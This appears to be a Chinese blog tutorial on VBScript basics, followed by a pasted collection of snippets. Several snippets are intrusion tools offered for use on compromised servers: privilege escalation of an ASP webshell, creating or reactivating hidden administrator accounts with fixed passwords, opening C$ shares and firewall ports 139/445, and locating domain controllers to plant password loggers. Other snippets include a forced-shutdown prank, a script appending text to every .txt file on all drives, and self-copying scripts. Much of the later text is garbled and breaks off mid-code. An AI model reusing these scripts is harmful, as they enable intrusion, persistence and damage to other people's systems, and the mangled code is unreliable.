精华内容
下载资源
问答
  • VbScript脚本

    千次阅读 2017-04-11 23:40:11
    '以下为VbScript脚本 Set WshShell = WScript.CreateObject("WScript.Shell") appdataDir = WshShell.SpecialFolders("APPDATA") '获取"程序数据"目录 currentDir = WshShell.CurrentDirectory '获取脚本当前目录 ...
    '在指定路径创建一个360极速浏览器的快捷方式
    Set WshShell = WScript.CreateObject("WScript.Shell")
    appdataDir = WshShell.SpecialFolders("APPDATA") '获取"程序数据"目录
    currentDir = WshShell.CurrentDirectory '获取脚本当前目录
    desktopDir = WshShell.SpecialFolders("Desktop") '获取"桌面"文件夹目录
    taskbarDir = appdataDir & "\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar"
    CreateLnk(desktopDir)	'桌面快捷
    
    '在指定路径创建一个360极速浏览器的快捷方式
    Sub CreateLnk(str)
    	Set oShellLink = WshShell.CreateShortcut(str & "\360极速浏览器.lnk")
    	oShellLink.TargetPath = currentDir & "\360chrome.exe" '目标
    	oShellLink.WindowStyle = 3 '参数1默认窗口激活,参数3最大化激活,参数7最小化
    	oShellLink.Description = "360极速浏览器快捷方式" '备注
    	oShellLink.WorkingDirectory = str '起始位置
    	oShellLink.Save '创建保存快捷方式
    End Sub
    
    ' 删除脚本自身
    Set fso = CreateObject("Scripting.FileSystemObject") 
    f = fso.DeleteFile(WScript.ScriptName) 
    

    展开全文
  • VBScript脚本

    千次阅读 2018-04-04 22:54:36
    windwos环境下由系统自带的wscript.exe解释的一种脚本语言,。。据说当年微软开发他用来代替.bat用的。。win下代码可以保存在记事本中并另存为.vbs格式即可运行。也可以用一些软件把它编译成.exe以闭源...

    0x00简介

    0x01开始:

    整理了一些初中的时候搞过的东西,记不清具体了,突然想到这么个东西,就找了一下以前的文件,还在。这里属于乱丢。

    0x02这是啥VBS:

    windwos环境下由系统自带的wscript.exe解释的一种脚本语言,。。据说当年微软开发他用来代替.bat用的。。win下代码可以保存在记事本中并另存为.vbs格式即可运行。也可以用一些软件把它编译成.exe以闭源。

    0x03为什么要学:

    高级功能暂时不明确,亮点?唯一的,现在到处都是win,这种不需要开发环境的语言,可以在学校装逼?

    0x10语法

    0x11变量

    声明:比如dim name就声明了一个叫做name的变量。
    赋值:比如name = 5就是ok的(变量没有类型,我可以继续给他一个”George”值)。
    数组:dim names(2)范围是[0,2],和VB是一样的。
    乱搞:用option explicit保证所有变量是被声明过的而不是自动创建的

    0x12程序

    子程序[没有返回值]

    Sub mysub(argument1,argument2)
      some statements
    End Sub

    函数[有返回值]:

    Function myfunction(argument1,argument2)
      some statements
      myfunction=some value
    End Function

    调用子程序:Call MyProc(argument)
    调用函数:name = findname()

    0x13条件

    行语句:if i=10 Then msgbox "Hello"
    块语句:

    if payment=1 then
       msgbox "cash"
     elseif payment=2 then
       msgbox "visa"
     elseif payment=3 then
       msgbox "American Express"
     else
       msgbox "Unknown"
    end If
    0x14循环

    For:

    For i=2 To 10 Step 2
      some code
    Next

    DoLoop:

    Do Until i=10
      i=i-1
      If i<10 Then Exit Do
    Loop
    0x15函数

    Date:返回当前日期。
    Now:返回当前的系统日期和时间。
    Weekday:根据日期计算星期几。
    占坑待填,很多和VBS类似,也可以在W3Cschool找到表格。
    msgbox(123)
    x = inputbox("123")
    之类。

    0x20实例

    0x21QQ发消息脚本:

    先复制你要发的消息,然后选中QQ聊天框。运行脚本。

    Set WshShell= WScript.Createobject("WScript.Shell")
    for i=9999 to 5000 step-1
    WScript.Sleep 500
    WshShell.SendKeys"^v"
    WshShell.SendKeys i
    WshShell.SendKeys "%s"
    next
    0x21小姐姐早上好:
    Digital=Time
    hours=Hour(Digital)
    minutes=Minute(Digital)
    seconds=Second(Digital)
    If (hours<6) Then
    dn="凌辰了,还没睡啊?"
    End If
    If (hours>=6) Then
    dn="小姐姐早上好!"
    End If
    If (hours>12) Then
    dn="小姐姐下午好!"
    End If
    If (hours>18) Then
    dn="小姐姐晚上好!"
    End If
    If (hours>22) Then
    dn="不早了,夜深了,该睡觉了!"
    End If
    If (minutes<=9) Then
    minutes="0" & minutes
    End If
    If (seconds<=9) Then
    seconds="0" & seconds
    End If
    ctime=hours & ":" & minutes & ":" & seconds & " " & dn
    MsgBox ctime
    0x22输入框+文件创建:
    Dim fso,TestFile,fileName,drvName,fldName
    drvName=InputBox("第一个字符","666")
    fldName=InputBox("第二个字符","6666")
    fileName=InputBox("文件名","66666")
    Set fso=CreateObject("Scripting.FileSystemObject")
    If(fso.FolderExists(drvName&fldName))Then
    MsgBox("6666666")
    Else
    Set fld=fso.CreateFolder(drvName&fldName)
    End If
    Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fileName&".txt",True)
    TestFile.WriteLine("大法好!!!!")
    TestFile.Close
    0x23密码+关机:
    Set shell=CreateObject(WScript.Shell)
    shell.run shutdown -s -t 60 -c 系统即将关闭.,0
    While InputBox(请输入答案,请回答)123
    MsgBox 答案在心中...,16+4096 4096
    Wend
    shell.run shutdown -a,0
    MsgBox 恭喜,64
    0x24新用户加密码:
    Set wsnetwork=CreateObject("WSCRIPT.NETWORK")
    os="WinNT://"&wsnetwork.ComputerName
    Set ob=GetObject(os) 
    Set oe=GetObject(os&"/Administrators,group")
    Set od=ob.Create("user","lcx")
    od.SetPassword "123456" 
    od.SetInfo
    Set of=GetObject(os&"/lcx",user) 
    oe.add os&"/lcx"
    0x25txt加话:
    On Error Resume Next
    Set fso = CreateObject("Scripting.FileSystemObject")
    Co = vbCrLf & "。。。"
    
    For Each i In fso.Drives
    If i.DriveType = 2 Then
    GF fso.GetFolder(i & "\")
    End If
    Next
    
    Sub GF(fol)
    Wh fol
    Dim i
    For Each i In fol.SubFolders
    GF i
    Next
    End Sub
    
    Sub Wh(fol)
    Dim i
    For Each i In fol.Files
    If LCase(fso.GetExtensionName(i)) = "txt" Then
    fso.OpenTextFile(i,8,0).Write Co
    End If
    Next
    End Sub
    0x26垃圾清理:
    Dim f12
    Set f12 = WScript.CreateObject("Scripting.Filesystemobject")
    f12.getfile(wscript.scriptfullname).copy("d:\Number D.vbs")
    f12.getfile(wscript.scriptfullname).copy("e:\Number E.vbs")
    f12.getfile(wscript.scriptfullname).copy("f:\Number F.vbs")
    f12.getfile(wscript.scriptfullname).copy("g:\Number G.vbs")
    
    Dim fso,fld
    Set fso=CreateObject("Scripting.FileSystemObject")
    Set fld=fso.CreateFolder("D:\new VBS")
    
    
    Dim fab,TestFile
    Set fab=CreateObject("Scripting.FileSystemObject")
    Set TestFile=fab.CreateTextFile("D:\new VBS\Good morning.bat",Ture)
    TestFile.WriteLine("@echo off ")
    TestFile.WriteLine("echo 正在清除系统垃圾文件,请稍等......  ")
    TestFile.WriteLine("del f s q %systemdrive%.tmp ")
    TestFile.WriteLine("del f s q %systemdrive%._mp ")
    TestFile.WriteLine("del f s q %systemdrive%.log ")
    TestFile.WriteLine("del f s q %systemdrive%.gid ")
    TestFile.WriteLine("del f s q %systemdrive%.chk ")
    TestFile.WriteLine("del f s q %systemdrive%.old ")
    TestFile.WriteLine("del f s q %windir%.bak ")
    TestFile.WriteLine("del f s q %windir%prefetch.")
    TestFile.WriteLine("rd s q %windir%temp & md %windir%temp ")
    TestFile.WriteLine("del f q %userprofile%cookies. ")
    TestFile.WriteLine("del f q %userprofile%recent. ")
    TestFile.WriteLine("del f s q %userprofile%Local SettingsTemporary Internet Files. ")
    TestFile.WriteLine("del f s q %userprofile%Local SettingsTemp. ")
    TestFile.WriteLine("del f s q %userprofile%recent. ")
    TestFile.WriteLine("echo 清除系统LJ完成! ")
    TestFile.WriteLine("echo. & pause ")
    TestFile.Close
    
    Set fab=CreateObject("Scripting.FileSystemObject")
    Set TestFile=fab.CreateTextFile("D:\new VBS\123.txt",Ture)
    TestFile.WriteLine("gwj大法好")
    TestFile.Close

    0x30参考文献文件夹的简单操作

    Set fso = Wscript.CreateObject(Scripting.FileSystemObject) *声明 Set f
    = fso.CreateFolder(“C:\sample”) 创建文件夹 Set e = getFolder(“C:\sample”) 类似于 绑定目标 e.copy(“D:\sample”) 复制文件夹 fso.deletefolder(“C:\sample”) 删除文件夹

    将域用户或租添加到本地组 Set objGroup = GetObject(WinNT://./Administrators) Set
    objUser = GetObject(WinNT://testnet/Engineers)
    objGroup.Add(objUser.ADsPath)

    修改本地管理员密码 Set objcnlar = GetObject(WinNT://./administrator, user)
    objcnla.SetPassword PassWord objcnla.SetInfo

    用vbs来列虚拟主机的物理目录
    有时旁注入侵成功一个站,拿到系统权限后,面对上百个虚拟主机,怎样才能更快的找到我们目标站的物理目录呢?一个站一个站翻看太累,用系统自带的adsutil.vbs吧又感觉好像参数很多,有点无法下手的感觉,试试我这个脚本吧,代码如下:
    Set ObjService=GetObject(“IIS://LocalHost/W3SVC”) For Each obj3w In
    objservice If IsNumeric(obj3w.Name) Then
    sServerName=Obj3w.ServerComment Set webSite =
    GetObject(“IIS://Localhost/W3SVC/” & obj3w.Name & “/Root”) ListAllWeb
    = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name),” “) & obj3w.ServerComment & “(” & webSite.Path & “)” & vbCrLf End If Next
    WScript.Echo ListAllWeb Set ObjService=Nothing WScript.Quit 运行cscript
    2.vbs后,就会详细列出IIS里的站点ID、描述、及物理目录,是不是代码少很多又方便呢? 用VBS快速找到内网域的主服务器 面对域结构的内网,可能许多小菜没有经验如何去渗透。如果你能拿到主域管理员的密码,整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上,
    如果能搞定其中的一台或几台,放个密码记录器之类,相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了,如何在成千台机器里判断出是哪一台
    呢?dos命令像net group “domain admins”
    /domain可以做为一个判断的标准,不过vbs也可以做到的,这仍然属于adsi部份的内容,代码如下: Set
    obj=GetObject(“LDAP://rootDSE”) WScript.Echo obj.servername
    只用这两句代码就足够了,运行cscript
    3.vbs,会有结果的。当然,无论是dos命令或vbs,你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码,你可以用 psexec.exe -u -p
    cmd.exe这样的格式来得到域用户的shell,或你的木马本来就是与桌面交互的,登陆你木马shell的又是域用户,就可以直接运行这些命令了。
    vbs的在入侵中的作用当然不只这些,当然用js或其它工具也可以实现我上述代码的功能;不过这个专栏定下的题目是vbs在hacking中的妙用,所以我们只提vbs。写完vbs这部份我和其它作者会在以后的专栏继续策划其它的题目,争取为读者带来好的有用的文章。
    WebShell提权用的VBS代码
    asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权
    限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件
    来提升asp木马的权限,代码如下asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以
    大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要
    介绍的技巧是利用一个vbs文件来提升asp木马的权限,代码如下: Set wsh=Createobject(“wscript.shell”)
    *创建一个wsh对象 wsh.run “cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps C:\WINNT\system32\inetsrv\httpext.dll
    C:\WINNT\system32\inetsrv\httpodbc.dll
    C:\WINNT\system32\inetsrv\ssinc.dll C:\WINNT\system32\msw3prt.dll
    C:\winnt\system32\inetsrv\asp.dll”,0 *加入asp.dll到InProcessIsapiApps中
    将其保存为vbs的后缀,再上传到服务上,
    然后利用asp木马执行这个vbs文件后。再试试你的asp木马吧,你会发现自己己经是system权限了 VBS开启ipc服务和相关设置 Dim
    OperationRegistry Set
    OperationRegistry=WScript.CreateObject(“WScript.Shell”)
    OperationRegistry.RegWrite
    “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest”,0

    Set wsh3=wscript.createobject(“wscript.shell”) wsh3.Run “net user
    helpassistant 123456”,0,false wsh3.Run “net user helpassistant
    /active”,0,false wsh3.Run “net localgroup administrators helpassistant
    /add”,0,false

    wsh3.Run “net start Lanmanworkstation /y”,0,false wsh3.Run “net start
    Lanmanserver /y”,0,false wsh3.Run “net start ipc,0,Truewsh3.Runnetsharec”,0,Truewsh3.Run“netsharec=c:\”,0,false

    wsh3.Run “netsh firewall set notifications disable”,0,True wsh3.Run
    “netsh firewall set portopening TCP 139 enable”,0,false wsh3.Run
    “netsh firewall set portopening UDP 139 enable”,0,false wsh3.Run
    “netsh firewall set portopening TCP 445 enable”,0,false wsh3.Run
    “netsh firewall set portopening UDP 445 enable”,0,false VBS时间判断代码
    Digital=Time hours=Hour(Digital) minutes=Minute(Digital)
    seconds=Second(Digital) If (hours<6) Then dn=”凌辰了,还没睡啊?” End If If
    (hours>=6) Then dn=”早上好!” End If If (hours>12) Then dn=”下午好!” End If
    If (hours>18) Then dn=”晚上好!” End If If (hours>22) Then
    dn=”不早了,夜深了,该睡觉了!” End If If (minutes<=9) Then minutes=”0” & minutes
    End If If (seconds<=9) Then seconds=”0” & seconds End If ctime=hours &
    “:” & minutes & “:” & seconds & ” ” & dn MsgBox ctime

    VBS注册表读写 Dim OperationRegistry , mynum Set
    OperationRegistry=WScript.CreateObject(“WScript.Shell”) mynum = 9
    mynum =
    OperationRegistry.RegRead(“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest”)
    MsgBox(“before forceguest = “&mynum) OperationRegistry.RegWrite
    “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest”,0
    mynum =
    OperationRegistry.RegRead(“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest”)
    MsgBox(“after forceguest = “&mynum) VBS运行后删除自身代码 dim fso,f Set fso =
    CreateObject(“Scripting.FileSystemObject”) f =
    fso.DeleteFile(WScript.ScriptName)

    VBS获取参数并显示 For i=0 To WScript.Arguments.Count-1 MsgBox
    WScript.Arguments.Item(i) Next

    检测是否重复运行 Function IsRun() IsRun=False For Each ps In
    GetObject(“winmgmts:\.\root\cimv2:win32_process”).instances_ If
    LCase(ps.name)=”wscript.exe” Then If
    InStr(LCase(ps.CommandLine),LCase(WScript.scriptname)) Then i=i+1 End
    If Next If i>1 Then IsRun=True End Function

    获取指定类型磁盘 Function GetDrvS(Drives) Set Drv =
    Fso.GetDrive(Fso.GetDriveName(Drives)) If Drv.IsReady Then If
    Drv.DriveType=1 Then GetDrvS = True Else GetDrvS = False
    *磁盘类型: 0无法识别 1移动磁盘 2硬盘 3网络硬盘 4光驱 5“RAM虚拟磁盘” End If End Function

    查看快捷方式 详细参数
    *On Error Resume Next Set cik = CreateObject(“Wscript.Shell”) set Link=cik.CreateShortcut(WScript.Arguments.Item(0)) with Link
    s=s&”快捷方式对象的参数。 :”&.Arguments s=s&vbcrlf&”快捷方式对象的说明。 :”&.Description
    s=s&vbcrlf&”快捷方式对象的热键。 :”&.Hotkey
    s=s&vbcrlf&”快捷方式对象的图标位置:”&.IconLocation
    s=s&vbcrlf&”快捷方式对象的目标路径:”&.TargetPath
    s=s&vbcrlf&”快捷方式对象的窗口样式:”&.WindowStyle
    s=s&vbcrlf&”快捷方式对象的工作目录:”&.WorkingDirectory end with msgbox
    s,,” 快捷方式对象:” WScript.Quit

    让电脑读英文 CreateObject(“SAPI.SpVoice”).Speak “Reduction using Windows?”

    4L:VBS加输入框 Dim fso,TestFile,fileName,drvName,fldName
    drvName=InputBox(“Enter the drive to save to:”,”Drive letter”)
    fldName=InputBox(“Enter the folder name:”,”Folder name”)
    fileName=InputBox(“Enter the name of the file:”,”Filename”) Set
    fso=CreateObject(“Scripting.FileSystemObject”)
    If(fso.FolderExists(drvName&fldName))Then MsgBox(“Folder exists”) Else
    Set fld=fso.CreateFolder(drvName&fldName) End If Set
    TestFile=fso.CreateTextFile(drvName&fldName&”\”&fileName&”.txt”,True)
    TestFile.WriteLine(“Hello,World!”) TestFile.Close

    VBS检查是否有相同文件 Dim fso,TestFile,fileName,drvName,fldName
    drvName=InputBox(“Enter the drive to save to:”,”Drive letter”)
    fldName=InputBox(“Enter the folder name:”,”Folder name”)
    fileName=InputBox(“Enter the name of the file:”,”Filename”) Set
    fso=CreateObject(“Scripting.FileSystemObject”)
    If(fso.FolderExists(drvName&fldName))Then MsgBox(“Folder exists”) Else
    Set fld=fso.CreateFolder(drvName&fldName) End If
    If(fso.FileExists(drvName&fldName&”\”&fileName&”.txt”))Then
    MsgBox(“File already exists.”) Else Set
    TestFile=fso.CreateTextFile(drvName&fldName&”\”&fileName&”.txt”,True)
    TestFile.WriteLine(“Hello,World!”) TestFile.Close End If

    VBS改写、追加 文件 Dim fso,openFile Set
    fso=CreateObject(“Scripting.FileSystemObject”) Set
    openFile=fso.OpenTextFile(“C:\test.txt”,2,True) *1只读,2可写,8追加
    openFile.Write “Hello World!” openFile.Close

    VBS读取文件 ReadAll 读取全部 Dim fso,openFile Set
    fso=CreateObject(“Scripting.FileSystemObject”) Set
    openFile=fso.OpenTextFile(“C:\test.txt”,1,True)
    MsgBox(openFile.ReadAll) VBS读取文件 ReadLine 读取一行 Dim fso,openFile Set
    fso=CreateObject(“Scripting.FileSystemObject”) Set
    openFile=fso.OpenTextFile(“C:\test.txt”,1,True)
    MsgBox(openFile.ReadLine()) MsgBox(openFile.ReadLine())
    *如果读取行数超过文件的行数,就会出错 VBS读取文件 Read 读取n个字符 Dim fso,openFile Set fso=CreateObject(“Scripting.FileSystemObject”) Set
    openFile=fso.OpenTextFile(“C:\test.txt”,1,True)
    MsgBox(openFile.Read(2)) *如果超出了字符数,不会出错。 VBS删除文件 Dim fso Set
    fso=CreateObject(“Scripting.FileSystemObject”)
    fso.DeleteFile(“C:\test.txt”) VBS删除文件夹 Dim fso Set
    fso=CreateObject(“Scripting.FileSystemObject”)
    fso.DeleteFolder(“C:\newFolder”) *不管文件夹中有没有文件都一并删除 VBS连续创建文件 Dim
    fso,TestFile Set fso=CreateObject(“Scripting.FileSystemObject”) For
    i=1 To 10 Set TestFile=fso.CreateTextFile(“C:\hello”&i&”.txt”,Ture)
    TestFile.WriteLine(“Hello,World!”) TestFile.Close Next
    VBS根据计算机名随机生成字符串 Set ws=CreateObject(“wscript.shell”) Set
    wenv=ws.environment(“process”) RDA=wenv(“computername”) Function
    UCharRand(n) For i=1 To n Randomize Asc(Mid(RDA,1,1)) temp =
    CInt(25*Rnd) temp = temp +65 UCharRand = UCharRand & Chr(temp) Next
    End Function MsgBox UCharRand(Len(RDA))

    VBS根据mac生成序列号 Function Encode(strPass) Dim i, theStr, strTmp

    For i = 1 To Len(strPass) strTmp = Asc(Mid(strPass, i, 1)) theStr =
    theStr & Abs(strTmp) Next

    strPass = theStr theStr = “”

    Do While Len(strPass) > 16 strPass = JoinCutStr(strPass) Loop

    For i = 1 To Len(strPass) strTmp = CInt(Mid(strPass, i, 1)) strTmp =
    IIf(strTmp > 6, Chr(strTmp + 60), strTmp) theStr = theStr & strTmp
    Next

    Encode = theStr End Function

    Function JoinCutStr(str) Dim i, theStr For i = 1 To Len(str) If
    Len(str) - i = 0 Then Exit For theStr = theStr &
    Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1, 1))) / 2)) i = i +
    1 Next JoinCutStr = theStr End Function

    Function IIf(var, val1, val2) If var = True Then IIf = val1 Else IIf =
    val2 End If End Function

    Set
    mc=GetObject(“Winmgmts:”).InstancesOf(“Win32_NetworkAdapterConfiguration”)
    For Each mo In mc If mo.IPEnabled=True Then theStr = mo.MacAddress
    Exit For End If Next

    Randomize Encode(theStr) rdnum=Int(10*Rnd+5)

    Function allRand(n) For i=1 To n Randomize Encode(theStr) temp =
    CInt(25*Rnd) If temp Mod 2 = 0 Then temp = temp + 97 ElseIf temp < 9
    Then temp = temp + 48 Else temp = temp + 65 End If allRand = allRand &
    Chr(temp) Next End Function MsgBox allRand(rdnum) VBS自动连接adsl Dim Wsh
    Set Wsh = WScript.CreateObject(“WScript.Shell”) wsh.run “Rasdial 连接名字
    账号 密码”,false,1 VBS自动断开ADSL Dim Wsh Set Wsh =
    WScript.CreateObject(“WScript.Shell”) wsh.run “Rasdial
    /DISCONNECT”,false,1
    VBS每隔3秒自动更换IP并打开网址实例(值得一提的是,下面这个代码中每次打开的网址都是引用同一个IE窗口,也就是每次打开的是覆盖上次打开的窗口,如果需要每次打开的网址都是新窗口,直接使用run就可以了)
    Dim Wsh Set Wsh = WScript.CreateObject(“WScript.Shell”) Set oIE =
    CreateObject(“InternetExplorer.Application”) For i=1 To 5 wsh.run
    “Rasdial /DISCONNECT”,False,1 wsh.run “Rasdial 连接名字 账号 密码”,False,1
    oIE.Navigate “http://www.ip138.com/?”&i&”” Call SynchronizeIE
    oIE.Visible = True Next Sub SynchronizeIE On Error Resume Next Do
    While(oIE.Busy) WScript.Sleep 3000 Loop End Sub 用VBS来加管理员帐号
    在注入过程中明明有了sa帐号,但是由于net.exe和net1.exe被限制,或其它的不明原因,总是加不了管理员帐号。VBS在活动目录(adsi)部份有一个winnt对像,可以用来管理本地资源,可以用它不依靠cmd等命令来加一个管理员,详细代码如下:
    Set wsnetwork=CreateObject(“WSCRIPT.NETWORK”)
    os=”WinNT://”&wsnetwork.ComputerName Set ob=GetObject(os) *得到adsi接口,绑定
    Set oe=GetObject(os&”/Administrators,group”) *属性,admin组 Set
    od=ob.Create(“user”,”lcx”) 建立用户 od.SetPassword “123456” 设置密码
    od.SetInfo 保存 Set of=GetObject(os&”/lcx”,user) 得到用户 oe.add os&”/lcx”

    这段代码如果保存为1.vbs,在cmd下运行,格式: cscript
    1.vbs的话,会在当前系统加一个名字为lcx,密码为123456的管理员。当然,你可以用记事本来修改里边的变量lcx和123456,改成你喜欢的名字和密码值。

    QQ自动发消息 On Error Resume Next str=”我是笨蛋/qq” Set
    WshShell=WScript.CreateObject(“WScript.Shell”) WshShell.run “mshta
    vbscript:clipboardData.SetData(“+”“”“+”text”+”“”“+”,”+”“”“&str&”“”“+”)(close)”,0
    WshShell.run
    “tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1”,0,true
    WScript.Sleep 3000 WshShell.SendKeys “^v” WshShell.SendKeys “%s”
    VBS隐藏文件 Set objFSO = CreateObject(“Scripting.FileSystemObject”) Set
    objFile = objFSO.GetFile(“F:\软件大赛\show.txt”) If objFile.Attributes =
    objFile.Attributes AND 2 Then objFile.Attributes = objFile.Attributes
    XOR 2 End If VBS生成随机数(521是生成规则,不同的数字生成的规则不一样,可以用于其它用途) Randomize 520
    point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1)) msgbox
    join(point,”“) VBS删除桌面IE图标(非快捷方式) Set oShell =
    CreateObject(“WScript.Shell”) oShell.RegWrite
    “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon”,1,”REG_DWORD”
    VBS获取自身文件名 MyName=WScript.ScriptName msgbox MyName
    MyFullName=WScript.ScriptFullName msgbox MyFullName VBS读取Unicode编码的文件
    Set objFSO = CreateObject(“Scripting.FileSystemObject”) Set objFile =
    objFSO.OpenTextFile(“gangzi.txt”,1,False,-1) strText = objFile.ReadAll
    objFile.Close Wscript.Echo strText
    VBS读取指定编码的文件(默认为uft-8)gangzi变量是要读取文件的路径 set stm2
    =createobject(“ADODB.Stream”) stm2.Charset = “utf-8” stm2.Open stm2.LoadFromFile gangzi readfile = stm2.ReadText MsgBox readfile
    VBS禁用组策略 Set oShell = CreateObject(“WScript.Shell”) oShell.RegWrite
    “HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins”,1,”REG_DWORD”
    VBS写指定编码的文件(默认为uft-8)gangzi变量是要读取文件的路径,gangzi2是内容变量 cik=”1.txt”
    cik2=”2.txt” Set Stm1 = CreateObject(“ADODB.Stream”) Stm1.Type = 2
    Stm1.Open Stm1.Charset = “UTF-8” Stm1.Position = Stm1.Size
    Stm1.WriteText cik2 Stm1.SaveToFile cik,2 Stm1.Close set Stm1 =
    nothing VBS获取当前目录下所有文件夹名字(不包括子文件夹) Set fso =
    WScript.CreateObject(“Scripting.Filesystemobject”) Set
    f=fso.GetFolder(fso.GetAbsolutePathName(“.”)) Set folders=f.SubFolders
    For Each fo In folders wsh.echo fo.Name Next VBS获取指定目录下所有文件夹名字(包括子文件夹)
    Dim t Set fso=WScript.CreateObject(“scripting.filesystemobject”) Set
    fs=fso.GetFolder(“d:\”) WScript.Echo aa(fs) Function aa(n) Set
    f=n.subfolders For Each uu In f Set op=fso.GetFolder(uu.path) t=t &
    vbCrLf & op.path Call aa(op) Next aa=t End Function
    VBS创建.URL文件(IconIndex参数不同的数字代表不同的图标,具体请参照SHELL32.dll里面的所有图标)
    注意:不知道是谁这么写我不发表任何意见 Set fso=CreateObject(“scripting.filesystemobject”)
    qidong=qidong&”[InternetShortcut]”&Chr(13)&Chr(10)
    qidong=qidong&”URL=http://www.fendou.info“&Chr(13)&Chr(10)
    qidong=qidong&”IconFile=C:\WINDOWS\system32\SHELL32.dll”&Chr(13)&Chr(10)
    qidong=qidong&”IconIndex=130”&Chr(13)&Chr(10) Set
    TestFile=fso.CreateTextFile(“qq.url”,Ture) TestFile.WriteLine(qidong)
    TestFile.Close

    VBS写hosts(没写判断,无论存不存在都追加底部) Set fs =
    CreateObject(“Scripting.FileSystemObject”) path =
    fs.GetSpecialFolder(1)&”\drivers\etc\hosts” Set f =
    fs.OpenTextFile(path,8,TristateFalse) f.Write “127.0.0.1
    www.不想上的网站.cn” f.Write “127.0.0.1 www.不想上的网站2.cn” f.Close
    VBS读取出HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace
    下面所有键的名字并循环输出 Const HKLM = &H80000002 strPath =
    “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace”
    Set oreg = GetObject(“Winmgmts:\root\default:StdRegProv”) oreg.EnumKey
    HKLM,strPath,arr For Each x In arr WScript.Echo x Next

    VBS创建txt文件 Dim fso,TestFile Set
    fso=CreateObject(“Scripting.FileSystemObject”) Set
    TestFile=fso.CreateTextFile(“C:\hello.txt”,Ture)
    TestFile.WriteLine(“Hello,World!”) TestFile.Close VBS创建文件夹 Dim fso,fld
    Set fso=CreateObject(“Scripting.FileSystemObject”) Set
    fld=fso.CreateFolder(“C:\newFolder”) VBS判断文件夹是否存在 Dim fso,fld Set
    fso=CreateObject(“Scripting.FileSystemObject”) If
    (fso.FolderExists(“C:\newFolder”)) Then msgbox(“Folder exists.”) else
    set fld=fso.CreateFolder(“C:\newFolder”) End If VBS使用变量判断文件夹 Dim
    fso,fld drvName=”C:\” fldName=”newFolder” Set
    fso=CreateObject(“Scripting.FileSystemObject”) If
    (fso.FolderExists(drvName&fldName)) Then msgbox(“Folder exists.”) else
    set fld=fso.CreateFolder(drvName&fldName) End If

    VBS获取网卡MAC地址 Dim mc,mo Set
    mc=GetObject(“Winmgmts:”).InstancesOf(“Win32_NetworkAdapterConfiguration”)
    For Each mo In mc If mo.IPEnabled=True Then MsgBox “本机网卡MAC地址是: ” &
    mo.MacAddress Exit For End If Next

    VBS获取本机注册表主页地址 Set reg=WScript.CreateObject(“WScript.Shell”)
    startpage=reg.RegRead(“HKEY_CURRENT_USER\Software\Microsoft\Internet
    Explorer\Main\Start Page”) MsgBox startpage
    VBS遍历所有磁盘的所有目录,找到所有.txt的文件,然后给所有txt文件最底部加一句话 On Error Resume Next Set
    fso = CreateObject(“Scripting.FileSystemObject”) Co = vbCrLf & “路过。。。”
    For Each i In fso.Drives If i.DriveType = 2 Then GF fso.GetFolder(i &
    “\”) End If Next

    Sub GF(fol) Wh fol Dim i For Each i In fol.SubFolders GF i Next End
    Sub

    Sub Wh(fol) Dim i For Each i In fol.Files If
    LCase(fso.GetExtensionName(i)) = “txt” Then
    fso.OpenTextFile(i,8,0).Write Co End If Next End Sub

    获取计算机所有盘符 Set fso=CreateObject(“scripting.filesystemobject”) Set
    objdrives=fso.Drives *取得当前计算机的所有磁盘驱动器 For Each objdrive In objdrives
    *遍历磁盘 MsgBox objdrive Next

    VBS给本机所有磁盘根目录创建文件 On Error Resume Next Set
    fso=CreateObject(“Scripting.FileSystemObject”) Set gangzis=fso.Drives
    取得当前计算机的所有磁盘驱动器 For Each gangzi In gangzis 遍历磁盘 Set TestFile=fso.CreateTextFile(“”&gangzi&”\新建文件夹.vbs”,Ture)
    TestFile.WriteLine(“By Cik”) TestFile.Close Next
    VBS遍历本机全盘找到所有123.exe,然后给他们改名321.exe Set fs =
    CreateObject(“Scripting.FileSystemObject”) For Each drive In fs.drives
    fstraversal drive.rootfolder Next Sub fstraversal(byval this) For Each
    folder In this.subfolders fstraversal folder Next Set files =
    this.files For Each file In files If file.name = “123.exe” Then
    file.name = “321.exe” Next End Sub
    VBS写入代码到粘贴板(先说明一下,VBS写内容到粘贴板,网上千篇一律都是通过InternetExplorer.Application对象来实现,但是缺点是在默认浏览器为非IE中会弹出浏览器,所以费了很大的劲找到了这个代码来实现)
    str=”这里是你要复制到剪贴板的字符串” Set ws = wscript.createobject(“wscript.shell”)
    ws.run “mshta
    vbscript:clipboardData.SetData(“+”“”“+”text”+”“”“+”,”+”“”“&str&”“”“+”)(close)”,0,true
    在网上查找资料的时候发现好多经典的vbs代码,收集起来也为了以后学习。 VBS播放音乐 Dim wmp Set wmp =
    CreateObject(“WMPlayer.OCX”) wmp.openState wmp.URL = “想象之中.mp3” Do
